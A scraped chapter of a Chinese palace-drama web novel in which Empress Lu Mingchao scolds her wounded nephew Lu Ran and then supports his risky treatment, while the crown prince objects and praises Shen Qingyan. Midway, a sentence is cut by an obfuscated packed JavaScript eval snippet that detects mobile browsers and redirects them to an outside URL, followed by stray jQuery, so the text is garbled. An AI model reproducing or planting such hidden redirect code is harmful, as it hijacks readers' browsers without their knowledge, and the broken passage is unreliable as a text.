14. 第 14 章

作品:《驯个少卿来探案

    翌日一早,不出陆燃所料,宫中传来旨意,皇后娘娘宣他入宫。


    到了宫门口,早已备好的软轿静静候着,轿辇之上铺着厚厚的锦垫。宫人小心翼翼地将他一路平稳地抬向清宁宫。


    自重伤以来,方能下床便再也不许人扶的陆燃,破天荒地,一下轿辇便顺势靠在引路的一名小公公身上。


    他脚步虚浮,一副虚弱的好似不被扶着都走不了路的样子,一路被扶进了宫。


    清宁宫内暖意融融,皇后陆明朝端坐在主位上,一袭紫色便服,神色端庄,手中捧着一盏热茶,正慢悠悠地啜着。


    陆燃扶着那小公公艰难地就要下跪行礼,“侄子见过姑母。”


    他动作迟缓,身子微微摇晃,看着竟真有几分弱不禁风的模样。


    小公公连忙伸手稳稳托住他的胳膊,生怕他真的摔在地上。


    陆明朝哪里还看不出他那点小心思,根本懒得搭理他,依旧自顾自地品着茶,由着他演。


    陆燃礼都行完了,见姑母根本不接自己的茬,只得无奈地挥退了那小公公,拖着“沉重”的步伐走到下手椅子上坐下。


    “怎么?接着演啊。”陆明朝放下茶盏,没好气地道,“我倒要看看,咱们大周破罐子破摔的战神到底有多能耐。”


    “姑母~”陆燃故意拉长了音调,撒起娇来。


    他这位亲姑母脾气向来算不得好,还未出阁之时便是京中一霸,现如今只是碍着身份还有年纪见长,脾气这才有所收敛。


    她定是早就对自己近日的行径很是不满,原来还顾念自己身受重伤,觉得情有可原。


    可是昨日自己的所作所为,甚至是心存死志这件事,都可能一并被那个沈清晏上书圣上。


    姑母此刻怕是恨不得将他吊起来打一顿才解气。


    自己若是再不好好哄哄,闹不好,真的会被自己这位亲姑姑打残了圈在府里养着。


    到时候,别说满朝文武不敢替他求情,就连他亲爹也只得乖乖递鞭子。


    甚至当今圣上,都得在旁边帮着喊:“打得好”。


    “侄儿真的知错了,侄儿保证,再也不胡闹了!”说着他坐直了身子,伸出三根手指做发誓状,“真的,我发誓。”


    到底是自己从小看大的亲侄子,看着他一脸真诚悔过的模样,陆明朝还是软了下来,却还是白了他一眼,“你啊……就是从小太过顺遂。


    上有我跟陛下宠着,中间有你爹顶着,下面还有太子他们一帮人捧着,觉得你干什么都好、是个天才。


    把你纵得经不起半点风雨。就这么点事,你就要死要活的,像什么样子!”


    她越说,火气非但没减,反而更加旺盛了,“要不是你现如今是大周百姓心中的战神,依我看,就该直接把你吊在树上,本宫亲自抽死你。


    也省得你给我丢人现眼!”


    “别啊姑母。”陆燃连忙讨饶道,“您别听那个沈清晏胡说八道,我也就是一时没想开,没她说的那么严重。”


    陆明朝重重“哼”了一声,“你还怕别人告你的状?


    就你在永嘉伯府闹的那一出,满城风雨,还用得着别人来告状吗?”


    她说完,想到昨日王清淮提到陆燃至今伤口都没完全愈合,脸上的怒气渐渐褪去,深深叹了口气。


    “昨日夜里,王清淮就进宫,将你的伤势如实地说与我和陛下听了。


    陛下听说你想要辅以毒治,当即大怒,说咱们大周还没弱到让你赌上自己的后半生,走如此歪路。


    让你趁早死了这条心。”


    陆燃一听此话骇然失色,猛地抬起头,失声唤道:“姑母!”


    陆明朝抬手打断他,眼神复杂地看着他,“我知道,陛下不懂咱们武将出身之人的心思。


    他见不得自家儿郎日后被毒药折磨得生不如死。


    在他看来,以你的才干,即便当不了武将,做个文臣也定能有所作为。


    陛下都这般想,更何况我是你亲姑母,又怎会忍心让你冒险?”


    “可是姑母……”


    “可是本宫也是出身陆家。”陆明朝再次扬声打断了他。


    “虽是一介女流,但当年也被你祖父精心教养,骑马射箭、排兵布阵,样样都不输男儿。


    若不是嫁给陛下,我也能提枪上马,为国杀敌。”


    她说着顿了顿,认真地看着陆燃的双眼,这孩子自出生便是整个陆家的骄傲,后来更是整个大周的骄傲。


    现如今为护大周重伤折翼,若不是被沈清晏点破,他们竟然都未曾察觉到他的心思,差点酿成大祸。


    “所以姑母明白你的感受。


    我昨夜一整夜都在想,如果换做是我,我会如何?”


    她就那样静静地看着陆燃,久久没有言语,眼底翻涌着无奈与疼惜。


    良久,她才再次叹了口气,抬手擦擦眼角渗出的泪水,“咱们陆家的儿女啊,都是那副倔脾气……。


    你只要想清楚了,就去做吧,陛下那边有我。”


    陆燃愣在原地,眼底满是错愕与暖意。


    他从未想过,姑母竟然会支持他这个看似疯狂的决定。


    可他还没来得及说什么宽慰的话,就见陆明朝将眼泪一抹,正色道:“但是,我丑话说在前头。


    到时候真要是治不好,你若敢因为今日的选择性情大变,给我胡闹,那就别怪姑母不念亲情,对你不客气!”


    陆燃心头一热,眼眶瞬间泛红,当即起身跪倒在地,额头轻轻触地,郑重道:“姑母放心。


    咱们陆家的儿郎,就算最后选错了路,也绝不后悔,断不会做出任何辱没门风之事!”


    陆明朝摆摆手,“现在说得比唱的还好听,我还能不知道你?只要你能称心,什么鬼话说不出口?”


    她话音刚落,就见一个太监走进来,躬身通报:“娘娘,太子殿下来给您请安了。”


    陆明朝点头,语气缓和了些:“让他进来吧。”


    不多时,太子燕怀璟迈步走了进来。


    他身着一身浅黄色锦袍,腰束玉带,面容俊朗,气质温润。先是跟陆明朝行了个礼,“儿臣特来给母后请安。”


    “行了,这屋里也没外人,用不着那些虚礼。”陆明朝笑着道,眼里带着几分了然。


    “你不就是听说了燃儿的事,特地一早赶过来的吗?”


    燕怀璟看了一眼陆燃,见他眉眼舒展,无奈地道:“儿臣紧赶慢赶,这不还是没赶上。


    看这小子一脸得色,就知道母后定又是纵着他胡来了。”


    “怎么,你也是跟你父皇一个想法?”陆明朝挑眉问道。


    燕怀璟摇了摇头,语气诚恳:“儿臣知道父皇跟母后最终的决定虽然不同,但都是因为心疼他。


    可是,你们就不能再等等吗?也许有更稳妥的法子呢?”


    陆明朝本就心存顾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323228|198365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    虑,怕万一有个闪失,陆燃后半辈子就只能在痛苦中度过。


    只不过因着他心存死志,怕若不准,他会比那个“万一”更早将自己折磨死。


    此刻被燕怀璟这么一说,心里的迟疑更甚,眉头微微蹙了起来。


    陆燃又岂会看不出来姑母的动摇,连忙开口道:“表兄,可至少现在没有这种法子不是吗?万一以后也不会有呢?”


    “那就先按照王清淮的法子治着。”燕怀璟的声音陡然提高了几分。


    “他不是说,单靠他的医术,也至少有几成把握能治得好你吗?你为何非要兵行险着,拿自己的一生去赌?”


    “可是我……”


    “别吵了!”


    陆明朝沉声打断他们二人的争执,她用力捏着手中的茶盏,略一思索,看向燕怀璟。


    “你既然来了,说明此事的原委你是知道的。以你的性子,定然是问过她的,她怎么说?”


    “她……”燕怀璟思及此处,略有些迟疑。


    “说!我要听原话!”陆明朝神色一敛,语气严肃地道。


    燕怀璟脸上闪过一丝哭笑不得,一咬牙,道:“她说等到八十了再找到那个法子有个屁用。


    说不定陆燃的坟头都找不到在哪了。”


    陆明朝闻言一愣,半晌捏着茶盏的手一松,先是“噗”的一声笑了出来,既而越笑越大声。


    连带着燕怀璟跟陆燃都先后笑了起来。


    “哎呀!还是这孩子痛快!”陆明朝笑了好一会儿,才渐渐止住,脸上满是赞赏与释然。


    “我就说这孩子合我的心意,你们还不信。”


    燕怀璟无奈地摇摇头,却还是忍不住再劝上一句,“母后,他们都还小,做事难免冲动。


    咱们不能由着他们性子来啊。”


    “你才比他们大几岁啊?”陆明朝忍不住嗔她一眼。


    “别老是摆出一副老气横秋的样子,好像自己比我还大一辈似的。”


    陆燃看着两人你来我往,心里的疑惑越来越深,忍不住开口问道:“姑母跟表兄说的那个‘她’,可是沈清晏?”


    他实在不解,为何姑母和表兄对沈清晏的态度如此亲近。


    “自然是她。”陆明朝点头,许是想到了昨日的耳闻,又笑着问道:“怎么?记恨人家当众扇了你这个战神的脸?”


    “……。”陆燃一时语塞,脸上有些发烫,下意识地摸了摸自己的脸颊。


    陆明朝见他不说话,便接着道:“是你自己闹得太过。


    我还觉得她打的轻了呢,这要是换做我,非一鞭子抽死你不可。”


    陆燃看看一脸“你确实活该”的亲表兄,又看看明显偏帮沈清晏的亲姑母,生平第一次体验到亲人胳膊肘往外弯的委屈。


    他忍不住酸溜溜地开口:“姑母就如此喜爱沈清晏?”


    陆明朝哪里知道他心里的弯弯绕,一脸满意地点头,“我对这孩子九成九满意。


    这唯一不满意的,就是她不是从我肚子里出来的。”


    他才不在京里几年,这天都变了?他陆燃竟然沦落到被人当众扇了脸,都没人帮着说句话的地步了?


    陆燃撇了撇嘴,指尖无意识地在桌案上轻轻点着,再看一脸欣慰的燕怀璟。


    看来外面的传言果然不假,表兄燕怀璟对沈清晏确实不同寻常。


    就连自己这位向来挑剔的姑母,也被她收服得服服帖帖。